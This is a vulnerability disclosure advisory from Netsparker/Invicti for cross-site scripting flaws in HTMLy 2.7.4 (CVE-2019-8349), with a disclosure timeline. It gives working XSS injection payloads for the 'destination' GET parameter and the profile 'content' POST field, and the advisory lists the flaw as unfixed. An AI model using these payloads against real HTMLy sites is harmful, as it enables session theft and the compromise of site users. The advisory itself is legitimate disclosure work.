Multiple Cross-Site Scripting Vulnerabilities in HTMLy 2.7.4

Information

Advisory by Netsparker (now Invicti)
Name: Cross-Site Scripting Vulnerabilities in HTMLy 2.7.4
Affected Software: HTMLy
Affected Versions: 2.7.4
Homepage: https://github.com/danpros/htmly
Vulnerability: Cross-Site Scripting
Severity: High
Status: Not Fixed
CVE-ID: CVE-2019-8349
CVSS Score (3.0): CVSS:3.0/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Invicti Advisory Reference: NS-18-059

Technical Details

URL: http://ns.app/ScanApp/htmly/2018/04/test-image-post/delete?destination=x" onmouseover=netsparker(0x004191) x="
Parameter Name: destination
Parameter Type: GET
Attack Pattern: x%22+onmouseover%3dnetsparker(0x004191)+x%3d%22

URL: http://ns.app/ScanApp/htmly/2018/04/test-image-post/edit?destination=x" onmouseover=netsparker(0x00409D) x="
Parameter Name: destination
Parameter Type: GET
Attack Pattern: x%22+onmouseover%3dnetsparker(0x00409D)+x%3d%22

URL: http://ns.app/ScanApp/htmly/author/kanti
Injection URL: http://ns.app/ScanApp/htmly/edit/profile
Parameter Name: content
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>netsparker(0x005D63)</scRipt>

For more information on cross-site scripting vulnerabilities, read the section Cross-site scripting (XSS).

Advisory Timeline

28th November 2018 – First Contact
29th November 2018 – Details Sent
23rd January 2019 – Last Attempt to Contact
18th February 2019 – Advisory Released

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

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